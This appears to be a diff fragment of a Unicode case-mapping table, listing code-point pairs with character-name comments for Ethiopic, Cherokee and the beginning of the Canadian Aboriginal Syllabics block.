+ ["\u1318", "\u1318"], /* ETHIOPIC SYLLABLE GGA */
+ ["\u1319", "\u1319"], /* ETHIOPIC SYLLABLE GGU */
+ ["\u131A", "\u131A"], /* ETHIOPIC SYLLABLE GGI */
+ ["\u131B", "\u131B"], /* ETHIOPIC SYLLABLE GGAA */
+ ["\u131C", "\u131C"], /* ETHIOPIC SYLLABLE GGEE */
+ ["\u131D", "\u131D"], /* ETHIOPIC SYLLABLE GGE */
+ ["\u131E", "\u131E"], /* ETHIOPIC SYLLABLE GGO */
+ ["\u131F", "\u131F"], /* ETHIOPIC SYLLABLE GGWAA */
+ ["\u1320", "\u1320"], /* ETHIOPIC SYLLABLE THA */
+ ["\u1321", "\u1321"], /* ETHIOPIC SYLLABLE THU */
+ ["\u1322", "\u1322"], /* ETHIOPIC SYLLABLE THI */
+ ["\u1323", "\u1323"], /* ETHIOPIC SYLLABLE THAA */
+ ["\u1324", "\u1324"], /* ETHIOPIC SYLLABLE THEE */
+ ["\u1325", "\u1325"], /* ETHIOPIC SYLLABLE THE */
+ ["\u1326", "\u1326"], /* ETHIOPIC SYLLABLE THO */
+ ["\u1327", "\u1327"], /* ETHIOPIC SYLLABLE THWA */
+ ["\u1328", "\u1328"], /* ETHIOPIC SYLLABLE CHA */
+ ["\u1329", "\u1329"], /* ETHIOPIC SYLLABLE CHU */
+ ["\u132A", "\u132A"], /* ETHIOPIC SYLLABLE CHI */
+ ["\u132B", "\u132B"], /* ETHIOPIC SYLLABLE CHAA */
+ ["\u132C", "\u132C"], /* ETHIOPIC SYLLABLE CHEE */
+ ["\u132D", "\u132D"], /* ETHIOPIC SYLLABLE CHE */
+ ["\u132E", "\u132E"], /* ETHIOPIC SYLLABLE CHO */
+ ["\u132F", "\u132F"], /* ETHIOPIC SYLLABLE CHWA */
+ ["\u1330", "\u1330"], /* ETHIOPIC SYLLABLE PHA */
+ ["\u1331", "\u1331"], /* ETHIOPIC SYLLABLE PHU */
+ ["\u1332", "\u1332"], /* ETHIOPIC SYLLABLE PHI */
+ ["\u1333", "\u1333"], /* ETHIOPIC SYLLABLE PHAA */
+ ["\u1334", "\u1334"], /* ETHIOPIC SYLLABLE PHEE */
+ ["\u1335", "\u1335"], /* ETHIOPIC SYLLABLE PHE */
+ ["\u1336", "\u1336"], /* ETHIOPIC SYLLABLE PHO */
+ ["\u1337", "\u1337"], /* ETHIOPIC SYLLABLE PHWA */
+ ["\u1338", "\u1338"], /* ETHIOPIC SYLLABLE TSA */
+ ["\u1339", "\u1339"], /* ETHIOPIC SYLLABLE TSU */
+ ["\u133A", "\u133A"], /* ETHIOPIC SYLLABLE TSI */
+ ["\u133B", "\u133B"], /* ETHIOPIC SYLLABLE TSAA */
+ ["\u133C", "\u133C"], /* ETHIOPIC SYLLABLE TSEE */
+ ["\u133D", "\u133D"], /* ETHIOPIC SYLLABLE TSE */
+ ["\u133E", "\u133E"], /* ETHIOPIC SYLLABLE TSO */
+ ["\u133F", "\u133F"], /* ETHIOPIC SYLLABLE TSWA */
+ ["\u1340", "\u1340"], /* ETHIOPIC SYLLABLE TZA */
+ ["\u1341", "\u1341"], /* ETHIOPIC SYLLABLE TZU */
+ ["\u1342", "\u1342"], /* ETHIOPIC SYLLABLE TZI */
+ ["\u1343", "\u1343"], /* ETHIOPIC SYLLABLE TZAA */
+ ["\u1344", "\u1344"], /* ETHIOPIC SYLLABLE TZEE */
+ ["\u1345", "\u1345"], /* ETHIOPIC SYLLABLE TZE */
+ ["\u1346", "\u1346"], /* ETHIOPIC SYLLABLE TZO */
+ ["\u1347", "\u1347"], /* ETHIOPIC SYLLABLE TZOA */
+ ["\u1348", "\u1348"], /* ETHIOPIC SYLLABLE FA */
+ ["\u1349", "\u1349"], /* ETHIOPIC SYLLABLE FU */
+ ["\u134A", "\u134A"], /* ETHIOPIC SYLLABLE FI */
+ ["\u134B", "\u134B"], /* ETHIOPIC SYLLABLE FAA */
+ ["\u134C", "\u134C"], /* ETHIOPIC SYLLABLE FEE */
+ ["\u134D", "\u134D"], /* ETHIOPIC SYLLABLE FE */
+ ["\u134E", "\u134E"], /* ETHIOPIC SYLLABLE FO */
+ ["\u134F", "\u134F"], /* ETHIOPIC SYLLABLE FWA */
+ ["\u1350", "\u1350"], /* ETHIOPIC SYLLABLE PA */
+ ["\u1351", "\u1351"], /* ETHIOPIC SYLLABLE PU */
+ ["\u1352", "\u1352"], /* ETHIOPIC SYLLABLE PI */
+ ["\u1353", "\u1353"], /* ETHIOPIC SYLLABLE PAA */
+ ["\u1354", "\u1354"], /* ETHIOPIC SYLLABLE PEE */
+ ["\u1355", "\u1355"], /* ETHIOPIC SYLLABLE PE */
+ ["\u1356", "\u1356"], /* ETHIOPIC SYLLABLE PO */
+ ["\u1357", "\u1357"], /* ETHIOPIC SYLLABLE PWA */
+ ["\u1358", "\u1358"], /* ETHIOPIC SYLLABLE RYA */
+ ["\u1359", "\u1359"], /* ETHIOPIC SYLLABLE MYA */
+ ["\u135A", "\u135A"], /* ETHIOPIC SYLLABLE FYA */
+ ["\u135B", "\u135B"],
+ ["\u135C", "\u135C"],
+ ["\u135D", "\u135D"], /* ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK */
+ ["\u135E", "\u135E"], /* ETHIOPIC COMBINING VOWEL LENGTH MARK */
+ ["\u135F", "\u135F"], /* ETHIOPIC COMBINING GEMINATION MARK */
+ ["\u1360", "\u1360"], /* ETHIOPIC SECTION MARK */
+ ["\u1361", "\u1361"], /* ETHIOPIC WORDSPACE */
+ ["\u1362", "\u1362"], /* ETHIOPIC FULL STOP */
+ ["\u1363", "\u1363"], /* ETHIOPIC COMMA */
+ ["\u1364", "\u1364"], /* ETHIOPIC SEMICOLON */
+ ["\u1365", "\u1365"], /* ETHIOPIC COLON */
+ ["\u1366", "\u1366"], /* ETHIOPIC PREFACE COLON */
+ ["\u1367", "\u1367"], /* ETHIOPIC QUESTION MARK */
+ ["\u1368", "\u1368"], /* ETHIOPIC PARAGRAPH SEPARATOR */
+ ["\u1369", "\u1369"], /* ETHIOPIC DIGIT ONE */
+ ["\u136A", "\u136A"], /* ETHIOPIC DIGIT TWO */
+ ["\u136B", "\u136B"], /* ETHIOPIC DIGIT THREE */
+ ["\u136C", "\u136C"], /* ETHIOPIC DIGIT FOUR */
+ ["\u136D", "\u136D"], /* ETHIOPIC DIGIT FIVE */
+ ["\u136E", "\u136E"], /* ETHIOPIC DIGIT SIX */
+ ["\u136F", "\u136F"], /* ETHIOPIC DIGIT SEVEN */
+ ["\u1370", "\u1370"], /* ETHIOPIC DIGIT EIGHT */
+ ["\u1371", "\u1371"], /* ETHIOPIC DIGIT NINE */
+ ["\u1372", "\u1372"], /* ETHIOPIC NUMBER TEN */
+ ["\u1373", "\u1373"], /* ETHIOPIC NUMBER TWENTY */
+ ["\u1374", "\u1374"], /* ETHIOPIC NUMBER THIRTY */
+ ["\u1375", "\u1375"], /* ETHIOPIC NUMBER FORTY */
+ ["\u1376", "\u1376"], /* ETHIOPIC NUMBER FIFTY */
+ ["\u1377", "\u1377"], /* ETHIOPIC NUMBER SIXTY */
+ ["\u1378", "\u1378"], /* ETHIOPIC NUMBER SEVENTY */
+ ["\u1379", "\u1379"], /* ETHIOPIC NUMBER EIGHTY */
+ ["\u137A", "\u137A"], /* ETHIOPIC NUMBER NINETY */
+ ["\u137B", "\u137B"], /* ETHIOPIC NUMBER HUNDRED */
+ ["\u137C", "\u137C"], /* ETHIOPIC NUMBER TEN THOUSAND */
+ ["\u137D", "\u137D"],
+ ["\u137E", "\u137E"],
+ ["\u137F", "\u137F"],
+ ["\u1380", "\u1380"], /* ETHIOPIC SYLLABLE SEBATBEIT MWA */
+ ["\u1381", "\u1381"], /* ETHIOPIC SYLLABLE MWI */
+ ["\u1382", "\u1382"], /* ETHIOPIC SYLLABLE MWEE */
+ ["\u1383", "\u1383"], /* ETHIOPIC SYLLABLE MWE */
+ ["\u1384", "\u1384"], /* ETHIOPIC SYLLABLE SEBATBEIT BWA */
+ ["\u1385", "\u1385"], /* ETHIOPIC SYLLABLE BWI */
+ ["\u1386", "\u1386"], /* ETHIOPIC SYLLABLE BWEE */
+ ["\u1387", "\u1387"], /* ETHIOPIC SYLLABLE BWE */
+ ["\u1388", "\u1388"], /* ETHIOPIC SYLLABLE SEBATBEIT FWA */
+ ["\u1389", "\u1389"], /* ETHIOPIC SYLLABLE FWI */
+ ["\u138A", "\u138A"], /* ETHIOPIC SYLLABLE FWEE */
+ ["\u138B", "\u138B"], /* ETHIOPIC SYLLABLE FWE */
+ ["\u138C", "\u138C"], /* ETHIOPIC SYLLABLE SEBATBEIT PWA */
+ ["\u138D", "\u138D"], /* ETHIOPIC SYLLABLE PWI */
+ ["\u138E", "\u138E"], /* ETHIOPIC SYLLABLE PWEE */
+ ["\u138F", "\u138F"], /* ETHIOPIC SYLLABLE PWE */
+ ["\u1390", "\u1390"], /* ETHIOPIC TONAL MARK YIZET */
+ ["\u1391", "\u1391"], /* ETHIOPIC TONAL MARK DERET */
+ ["\u1392", "\u1392"], /* ETHIOPIC TONAL MARK RIKRIK */
+ ["\u1393", "\u1393"], /* ETHIOPIC TONAL MARK SHORT RIKRIK */
+ ["\u1394", "\u1394"], /* ETHIOPIC TONAL MARK DIFAT */
+ ["\u1395", "\u1395"], /* ETHIOPIC TONAL MARK KENAT */
+ ["\u1396", "\u1396"], /* ETHIOPIC TONAL MARK CHIRET */
+ ["\u1397", "\u1397"], /* ETHIOPIC TONAL MARK HIDET */
+ ["\u1398", "\u1398"], /* ETHIOPIC TONAL MARK DERET-HIDET */
+ ["\u1399", "\u1399"], /* ETHIOPIC TONAL MARK KURT */
+ ["\u139A", "\u139A"],
+ ["\u139B", "\u139B"],
+ ["\u139C", "\u139C"],
+ ["\u139D", "\u139D"],
+ ["\u139E", "\u139E"],
+ ["\u139F", "\u139F"],
+ ["\u13A0", "\uAB70"], /* CHEROKEE LETTER A */
+ ["\u13A1", "\uAB71"], /* CHEROKEE LETTER E */
+ ["\u13A2", "\uAB72"], /* CHEROKEE LETTER I */
+ ["\u13A3", "\uAB73"], /* CHEROKEE LETTER O */
+ ["\u13A4", "\uAB74"], /* CHEROKEE LETTER U */
+ ["\u13A5", "\uAB75"], /* CHEROKEE LETTER V */
+ ["\u13A6", "\uAB76"], /* CHEROKEE LETTER GA */
+ ["\u13A7", "\uAB77"], /* CHEROKEE LETTER KA */
+ ["\u13A8", "\uAB78"], /* CHEROKEE LETTER GE */
+ ["\u13A9", "\uAB79"], /* CHEROKEE LETTER GI */
+ ["\u13AA", "\uAB7A"], /* CHEROKEE LETTER GO */
+ ["\u13AB", "\uAB7B"], /* CHEROKEE LETTER GU */
+ ["\u13AC", "\uAB7C"], /* CHEROKEE LETTER GV */
+ ["\u13AD", "\uAB7D"], /* CHEROKEE LETTER HA */
+ ["\u13AE", "\uAB7E"], /* CHEROKEE LETTER HE */
+ ["\u13AF", "\uAB7F"], /* CHEROKEE LETTER HI */
+ ["\u13B0", "\uAB80"], /* CHEROKEE LETTER HO */
+ ["\u13B1", "\uAB81"], /* CHEROKEE LETTER HU */
+ ["\u13B2", "\uAB82"], /* CHEROKEE LETTER HV */
+ ["\u13B3", "\uAB83"], /* CHEROKEE LETTER LA */
+ ["\u13B4", "\uAB84"], /* CHEROKEE LETTER LE */
+ ["\u13B5", "\uAB85"], /* CHEROKEE LETTER LI */
+ ["\u13B6", "\uAB86"], /* CHEROKEE LETTER LO */
+ ["\u13B7", "\uAB87"], /* CHEROKEE LETTER LU */
+ ["\u13B8", "\uAB88"], /* CHEROKEE LETTER LV */
+ ["\u13B9", "\uAB89"], /* CHEROKEE LETTER MA */
+ ["\u13BA", "\uAB8A"], /* CHEROKEE LETTER ME */
+ ["\u13BB", "\uAB8B"], /* CHEROKEE LETTER MI */
+ ["\u13BC", "\uAB8C"], /* CHEROKEE LETTER MO */
+ ["\u13BD", "\uAB8D"], /* CHEROKEE LETTER MU */
+ ["\u13BE", "\uAB8E"], /* CHEROKEE LETTER NA */
+ ["\u13BF", "\uAB8F"], /* CHEROKEE LETTER HNA */
+ ["\u13C0", "\uAB90"], /* CHEROKEE LETTER NAH */
+ ["\u13C1", "\uAB91"], /* CHEROKEE LETTER NE */
+ ["\u13C2", "\uAB92"], /* CHEROKEE LETTER NI */
+ ["\u13C3", "\uAB93"], /* CHEROKEE LETTER NO */
+ ["\u13C4", "\uAB94"], /* CHEROKEE LETTER NU */
+ ["\u13C5", "\uAB95"], /* CHEROKEE LETTER NV */
+ ["\u13C6", "\uAB96"], /* CHEROKEE LETTER QUA */
+ ["\u13C7", "\uAB97"], /* CHEROKEE LETTER QUE */
+ ["\u13C8", "\uAB98"], /* CHEROKEE LETTER QUI */
+ ["\u13C9", "\uAB99"], /* CHEROKEE LETTER QUO */
+ ["\u13CA", "\uAB9A"], /* CHEROKEE LETTER QUU */
+ ["\u13CB", "\uAB9B"], /* CHEROKEE LETTER QUV */
+ ["\u13CC", "\uAB9C"], /* CHEROKEE LETTER SA */
+ ["\u13CD", "\uAB9D"], /* CHEROKEE LETTER S */
+ ["\u13CE", "\uAB9E"], /* CHEROKEE LETTER SE */
+ ["\u13CF", "\uAB9F"], /* CHEROKEE LETTER SI */
+ ["\u13D0", "\uABA0"], /* CHEROKEE LETTER SO */
+ ["\u13D1", "\uABA1"], /* CHEROKEE LETTER SU */
+ ["\u13D2", "\uABA2"], /* CHEROKEE LETTER SV */
+ ["\u13D3", "\uABA3"], /* CHEROKEE LETTER DA */
+ ["\u13D4", "\uABA4"], /* CHEROKEE LETTER TA */
+ ["\u13D5", "\uABA5"], /* CHEROKEE LETTER DE */
+ ["\u13D6", "\uABA6"], /* CHEROKEE LETTER TE */
+ ["\u13D7", "\uABA7"], /* CHEROKEE LETTER DI */
+ ["\u13D8", "\uABA8"], /* CHEROKEE LETTER TI */
+ ["\u13D9", "\uABA9"], /* CHEROKEE LETTER DO */
+ ["\u13DA", "\uABAA"], /* CHEROKEE LETTER DU */
+ ["\u13DB", "\uABAB"], /* CHEROKEE LETTER DV */
+ ["\u13DC", "\uABAC"], /* CHEROKEE LETTER DLA */
+ ["\u13DD", "\uABAD"], /* CHEROKEE LETTER TLA */
+ ["\u13DE", "\uABAE"], /* CHEROKEE LETTER TLE */
+ ["\u13DF", "\uABAF"], /* CHEROKEE LETTER TLI */
+ ["\u13E0", "\uABB0"], /* CHEROKEE LETTER TLO */
+ ["\u13E1", "\uABB1"], /* CHEROKEE LETTER TLU */
+ ["\u13E2", "\uABB2"], /* CHEROKEE LETTER TLV */
+ ["\u13E3", "\uABB3"], /* CHEROKEE LETTER TSA */
+ ["\u13E4", "\uABB4"], /* CHEROKEE LETTER TSE */
+ ["\u13E5", "\uABB5"], /* CHEROKEE LETTER TSI */
+ ["\u13E6", "\uABB6"], /* CHEROKEE LETTER TSO */
+ ["\u13E7", "\uABB7"], /* CHEROKEE LETTER TSU */
+ ["\u13E8", "\uABB8"], /* CHEROKEE LETTER TSV */
+ ["\u13E9", "\uABB9"], /* CHEROKEE LETTER WA */
+ ["\u13EA", "\uABBA"], /* CHEROKEE LETTER WE */
+ ["\u13EB", "\uABBB"], /* CHEROKEE LETTER WI */
+ ["\u13EC", "\uABBC"], /* CHEROKEE LETTER WO */
+ ["\u13ED", "\uABBD"], /* CHEROKEE LETTER WU */
+ ["\u13EE", "\uABBE"], /* CHEROKEE LETTER WV */
+ ["\u13EF", "\uABBF"], /* CHEROKEE LETTER YA */
+ ["\u13F0", "\u13F8"], /* CHEROKEE LETTER YE */
+ ["\u13F1", "\u13F9"], /* CHEROKEE LETTER YI */
+ ["\u13F2", "\u13FA"], /* CHEROKEE LETTER YO */
+ ["\u13F3", "\u13FB"], /* CHEROKEE LETTER YU */
+ ["\u13F4", "\u13FC"], /* CHEROKEE LETTER YV */
+ ["\u13F5", "\u13FD"], /* CHEROKEE LETTER MV */
+ ["\u13F6", "\u13F6"],
+ ["\u13F7", "\u13F7"],
+ ["\u13F0", "\u13F8"], /* CHEROKEE SMALL LETTER YE */
+ ["\u13F1", "\u13F9"], /* CHEROKEE SMALL LETTER YI */
+ ["\u13F2", "\u13FA"], /* CHEROKEE SMALL LETTER YO */
+ ["\u13F3", "\u13FB"], /* CHEROKEE SMALL LETTER YU */
+ ["\u13F4", "\u13FC"], /* CHEROKEE SMALL LETTER YV */
+ ["\u13F5", "\u13FD"], /* CHEROKEE SMALL LETTER MV */
+ ["\u13FE", "\u13FE"],
+ ["\u13FF", "\u13FF"],
+ ["\u1400", "\u1400"], /* CANADIAN SYLLABICS HYPHEN */
+ ["\u1401", "\u1401"], /* CANADIAN SYLLABICS E */
+ ["\u1402", "\u1402"], /* CANADIAN SYLLABICS AAI */
+ ["\u1403", "\u1403"], /* CANADIAN SYLLABICS I */
+ ["\u1404", "\u1404"], /* CANADIAN SYLLABICS II */
+ ["\u1405", "\u1405"], /* CANADIAN SYLLABICS O */
+ ["\u1406", "\u1406"], /* CANADIAN SYLLABICS OO */
+ ["\u1407", "\u1407"], /* CANADIAN SYLLABICS Y-CREE OO */
+ ["\u1408", "\u1408"], /* CANADIAN SYLLABICS CARRIER EE */
+ ["\u1409", "\u1409"], /* CANADIAN SYLLABICS CARRIER I */
+ ["\u140A", "\u140A"], /* CANADIAN SYLLABICS A */
+ ["\u140B", "\u140B"], /* CANADIAN SYLLABICS AA */
+ ["\u140C", "\u140C"], /* CANADIAN SYLLABICS WE */
+ ["\u140D", "\u140D"], /* CANADIAN SYLLABICS WEST-CREE WE */
+ ["\u140E", "\u140E"], /* CANADIAN SYLLABICS WI */
+ ["\u140F", "\u140F"], /* CANADIAN SYLLABICS WEST-CREE WI */
+ ["\u1410", "\u1410"], /* CANADIAN SYLLABICS WII */
+ ["\u1411", "\u1411"], /* CANADIAN SYLLABICS WEST-CREE WII */
+ ["\u1412", "\u1412"], /* CANADIAN SYLLABICS WO */
+ ["\u1413", "\u1413"], /* CANADIAN SYLLABICS WEST-CREE WO */
+ ["\u1414", "\u1414"], /* CANADIAN SYLLABICS WOO */
+ ["\u1415", "\u1415"], /* CANADIAN SYLLABICS WEST-CREE WOO */
+ ["\u1416", "\u1416"], /* CANADIAN SYLLABICS NASKAPI WOO */
+ ["\u1417", "\u1417"], /* CANADIAN SYLLABICS WA */
+ ["\u1418", "\u1418"], /* CANADIAN SYLLABICS WEST-CREE WA */
+ ["\u1419", "\u1419"], /* CANADIAN SYLLABICS WAA */
+ ["\u141A", "\u141A"], /* CANADIAN SYLLABICS WEST-CREE WAA */
+ ["\u141B", "\u141B"], /* CANADIAN SYLLABICS NASKAPI WAA */
+ ["\u141C", "\u141C"], /* CANADIAN SYLLABICS AI */
+ ["\u141D", "\u141D"], /* CANADIAN SYLLABICS Y-CREE W */
+ ["\u141E", "\u141E"], /* CANADIAN SYLLABICS GLOTTAL STOP */
+ ["\u141F", "\u141F"], /* CANADIAN SYLLABICS FINAL ACUTE */
+ ["\u1420", "\u1420"], /* CANADIAN SYLLABICS FINAL GRAVE */
+ ["\u1421", "\u1421"], /* CANADIAN SYLLABICS FINAL BOTTOM HALF RING */
+ ["\u1422", "\u1422"], /* CANADIAN SYLLABICS FINAL TOP HALF RING */
+ ["\u1423", "\u1423"], /* CANADIAN SYLLABICS FINAL RIGHT HALF RING */
+ ["\u1424", "\u1424"], /* CANADIAN SYLLABICS FINAL RING */
+ ["\u1425", "\u1425"], /* CANADIAN SYLLABICS FINAL DOUBLE ACUTE */
+ ["\u1426", "\u1426"], /* CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES */
+ ["\u1427", "\u1427"], /* CANADIAN SYLLABICS FINAL MIDDLE DOT */
+ ["\u1428", "\u1428"], /* CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE */
+ ["\u1429", "\u1429"], /* CANADIAN SYLLABICS FINAL PLUS */
+ ["\u142A", "\u142A"], /* CANADIAN SYLLABICS FINAL DOWN TACK */
+ ["\u142B", "\u142B"], /* CANADIAN SYLLABICS EN */
+ ["\u142C", "\u142C"], /* CANADIAN SYLLABICS IN */
+ ["\u142D", "\u142D"], /* CANADIAN SYLLABICS ON */
+ ["\u142E", "\u142E"], /* CANADIAN SYLLABICS AN */
+ ["\u142F", "\u142F"], /* CANADIAN SYLLABICS PE */
+ ["\u1430", "\u1430"], /* CANADIAN SYLLABICS PAAI */
+ ["\u1431", "\u1431"], /* CANADIAN SYLLABICS PI */
+ ["\u1432", "\u1432"], /* CANADIAN SYLLABICS PII */
+ ["\u1433", "\u1433"], /* CANADIAN SYLLABICS PO */
+ ["\u1434", "\u1434"], /* CANADIAN SYLLABICS POO */
+ ["\u1435", "\u1435"], /* CANADIAN SYLLABICS Y-CREE POO */
+ ["\u1436", "\u1436"], /* CANADIAN SYLLABICS CARRIER HEE */
+ ["\u1437", "\u1437"], /* CANADIAN SYLLABICS CARRIER HI */
+ ["\u1438", "\u1438"], /* CANADIAN SYLLABICS PA */
+ ["\u1439", "\u1439"], /* CANADIAN SYLLABICS PAA */
+ ["\u143A", "\u143A"], /* CANADIAN SYLLABICS PWE */
+ ["\u143B", "\u143B"], /* CANADIAN SYLLABICS WEST-CREE PWE */
+ ["\u143C", "\u143C"], /* CANADIAN SYLLABICS PWI */
+ ["\u143D", "\u143D"], /* CANADIAN SYLLABICS WEST-CREE PWI */
+ ["\u143E", "\u143E"], /* CANADIAN SYLLABICS PWII */
+ ["\u143F", "\u143F"], /* CANADIAN SYLLABICS WEST-CREE PWII */
+ ["\u1440", "\u1440"], /* CANADIAN SYLLABICS PWO */
+ ["\u1441", "\u1441"], /* CANADIAN SYLLABICS WEST-CREE PWO */
+ ["\u1442", "\u1442"], /* CANADIAN SYLLABICS PWOO */
+ ["\u1443", "\u1443"], /* CANADIAN SYLLABICS WEST-CREE PWOO */
+ ["\u1444", "\u1444"], /* CANADIAN SYLLABICS PWA */
+ ["\u1445", "\u1445"], /* CANADIAN SYLLABICS WEST-CREE PWA */
+ ["\u1446", "\u1446"], /* CANADIAN SYLLABICS PWAA */
+ ["\u1447", "\u1447"], /* CANADIAN SYLLABICS WEST-CREE PWAA */
+ ["\u1448", "\u1448"], /* CANADIAN SYLLABICS Y-CREE PWAA */
+ ["\u1449", "\u1449"], /* CANADIAN SYLLABICS P */
+ ["\u144A", "\u144A"], /* CANADIAN SYLLABICS WEST-CREE P */
+ ["\u144B", "\u144B"], /* CANADIAN SYLLABICS CARRIER H */
+ ["\u144C", "\u144C"], /* CANADIAN SYLLABICS TE */
+ ["\u144D", "\u144D"], /* CANADIAN SYLLABICS TAAI */
+ ["\u144E", "\u144E"], /* CANADIAN SYLLABICS TI */
+ ["\u144F", "\u144F"], /* CANADIAN SYLLABICS TII */
+ ["\u1450", "\u1450"], /* CANADIAN SYLLABICS TO */
+ ["\u1451", "\u1451"], /* CANADIAN SYLLABICS TOO */
+ ["\u1452", "\u1452"], /* CANADIAN SYLLABICS Y-CREE TOO */
+ ["\u1453", "\u1453"], /* CANADIAN SYLLABICS CARRIER DEE */
+ ["\u1454", "\u1454"], /* CANADIAN SYLLABICS CARRIER DI */
+ ["\u1455", "\u1455"], /* CANADIAN SYLLABICS TA */
+ ["\u1456", "\u1456"], /* CANADIAN SYLLABICS TAA */
+ ["\u1457", "\u1457"], /* CANADIAN SYLLABICS TWE */
+ ["\u1458", "\u1458"], /* CANADIAN SYLLABICS WEST-CREE TWE */
+ ["\u1459", "\u1459"], /* CANADIAN SYLLABICS TWI */
+ ["\u145A", "\u145A"], /* CANADIAN SYLLABICS WEST-CREE TWI */
+ ["\u145B", "\u145B"], /* CANADIAN SYLLABICS TWII */
+ ["\u145C", "\u145C"], /* CANADIAN SYLLABICS WEST-CREE TWII */
+ ["\u145D", "\u145D"], /* CANADIAN SYLLABICS TWO */
+ ["\u145E", "\u145E"], /* CANADIAN SYLLABICS WEST-CREE TWO */
+ ["\u145F", "\u145F"], /* CANADIAN SYLLABICS TWOO */
+ ["\u1460", "\u1460"], /* CANADIAN SYLLABICS WEST-CREE TWOO */
+ ["\u1461", "\u1461"], /* CANADIAN SYLLABICS TWA */
+ ["\u1462", "\u1462"], /* CANADIAN SYLLABICS WEST-CREE TWA */
+ ["\u1463", "\u1463"], /* CANADIAN SYLLABICS TWAA */
+ ["\u1464", "\u1464"], /* CANADIAN SYLLABICS WEST-CREE TWAA */
+ ["\u1465", "\u1465"], /* CANADIAN SYLLABICS NASKAPI TWAA */
+ ["\u1466", "\u1466"], /* CANADIAN SYLLABICS T */
+ ["\u1467", "\u1467"], /* CANADIAN SYLLABICS TTE */
+ ["\u1468", "\u1468"], /* CANADIAN SYLLABICS TTI */
+ ["\u1469", "\u1469"], /* CANADIAN SYLLABICS TTO */
+ ["\u146A", "\u146A"], /* CANADIAN SYLLABICS TTA */
+ ["\u146B", "\u146B"], /* CANADIAN SYLLABICS KE */
+ ["\u146C", "\u146C"], /* CANADIAN SYLLABICS KAAI */
+ ["\u146D", "\u146D"], /* CANADIAN SYLLABICS KI */
+ ["\u146E", "\u146E"], /* CANADIAN SYLLABICS KII */
+ ["\u146F", "\u146F"], /* CANADIAN SYLLABICS KO */
+ ["\u1470", "\u1470"], /* CANADIAN SYLLABICS KOO */
+ ["\u1471", "\u1471"], /* CANADIAN SYLLABICS Y-CREE KOO */
+ ["\u1472", "\u1472"], /* CANADIAN SYLLABICS KA */
+ ["\u1473", "\u1473"], /* CANADIAN SYLLABICS KAA */
+ ["\u1474", "\u1474"], /* CANADIAN SYLLABICS KWE */
+ ["\u1475", "\u1475"], /* CANADIAN SYLLABICS WEST-CREE KWE */
+ ["\u1476", "\u1476"], /* CANADIAN SYLLABICS KWI */
+ ["\u1477", "\u1477"], /* CANADIAN SYLLABICS WEST-CREE KWI */
+ ["\u1478", "\u1478"], /* CANADIAN SYLLABICS KWII */
+ ["\u1479", "\u1479"], /* CANADIAN SYLLABICS WEST-CREE KWII */
+ ["\u147A", "\u147A"], /* CANADIAN SYLLABICS KWO */
+ ["\u147B", "\u147B"], /* CANADIAN SYLLABICS WEST-CREE KWO */
+ ["\u147C", "\u147C"], /* CANADIAN SYLLABICS KWOO */
+ ["\u147D", "\u147D"], /* CANADIAN SYLLABICS WEST-CREE KWOO */
+ ["\u147E", "\u147E"], /* CANADIAN SYLLABICS KWA */
+ ["\u147F", "\u147F"], /* CANADIAN SYLLABICS WEST-CREE KWA */
+ ["\u1480", "\u1480"], /* CANADIAN SYLLABICS KWAA */
+ ["\u1481", "\u1481"], /* CANADIAN SYLLABICS WEST-CREE KWAA */
+ ["\u1482", "\u1482"], /* CANADIAN SYLLABICS NASKAPI KWAA */
+ ["\u1483", "\u1483"], /* CANADIAN SYLLABICS K */
+ ["\u1484", "\u1484"], /* CANADIAN SYLLABICS KW */
+ ["\u1485", "\u1485"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KEH */
+ ["\u1486", "\u1486"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KIH */
+ ["\u1487", "\u1487"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KOH */
+ ["\u1488", "\u1488"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KAH */
+ ["\u1489", "\u1489"], /* CANADIAN SYLLABICS CE */
+ ["\u148A", "\u148A"], /* CANADIAN SYLLABICS CAAI */
+ ["\u148B", "\u148B"], /* CANADIAN SYLLABICS CI */
+ ["\u148C", "\u148C"], /* CANADIAN SYLLABICS CII */
+ ["\u148D", "\u148D"], /* CANADIAN SYLLABICS CO */
+ ["\u148E", "\u148E"], /* CANADIAN SYLLABICS COO */
+ ["\u148F", "\u148F"], /* CANADIAN SYLLABICS Y-CREE COO */
+ ["\u1490", "\u1490"], /* CANADIAN SYLLABICS CA */
+ ["\u1491", "\u1491"], /* CANADIAN SYLLABICS CAA */
+ ["\u1492", "\u1492"], /* CANADIAN SYLLABICS CWE */
+ ["\u1493", "\u1493"], /* CANADIAN SYLLABICS WEST-CREE CWE */
+ ["\u1494", "\u1494"], /* CANADIAN SYLLABICS CWI */
+ ["\u1495", "\u1495"], /* CANADIAN SYLLABICS WEST-CREE CWI */
+ ["\u1496", "\u1496"], /* CANADIAN SYLLABICS CWII */
+ ["\u1497", "\u1497"], /* CANADIAN SYLLABICS WEST-CREE CWII */
+ ["\u1498", "\u1498"], /* CANADIAN SYLLABICS CWO */
+ ["\u1499", "\u1499"], /* CANADIAN SYLLABICS WEST-CREE CWO */
+ ["\u149A", "\u149A"], /* CANADIAN SYLLABICS CWOO */
+ ["\u149B", "\u149B"], /* CANADIAN SYLLABICS WEST-CREE CWOO */
+ ["\u149C", "\u149C"], /* CANADIAN SYLLABICS CWA */
+ ["\u149D", "\u149D"], /* CANADIAN SYLLABICS WEST-CREE CWA */
+ ["\u149E", "\u149E"], /* CANADIAN SYLLABICS CWAA */
+ ["\u149F", "\u149F"], /* CANADIAN SYLLABICS WEST-CREE CWAA */
+ ["\u14A0", "\u14A0"], /* CANADIAN SYLLABICS NASKAPI CWAA */
+ ["\u14A1", "\u14A1"], /* CANADIAN SYLLABICS C */
+ ["\u14A2", "\u14A2"], /* CANADIAN SYLLABICS SAYISI TH */
+ ["\u14A3", "\u14A3"], /* CANADIAN SYLLABICS ME */
+ ["\u14A4", "\u14A4"], /* CANADIAN SYLLABICS MAAI */
+ ["\u14A5", "\u14A5"], /* CANADIAN SYLLABICS MI */
+ ["\u14A6", "\u14A6"], /* CANADIAN SYLLABICS MII */
+ ["\u14A7", "\u14A7"], /* CANADIAN SYLLABICS MO */
+ ["\u14A8", "\u14A8"], /* CANADIAN SYLLABICS MOO */
+ ["\u14A9", "\u14A9"], /* CANADIAN SYLLABICS Y-CREE MOO */
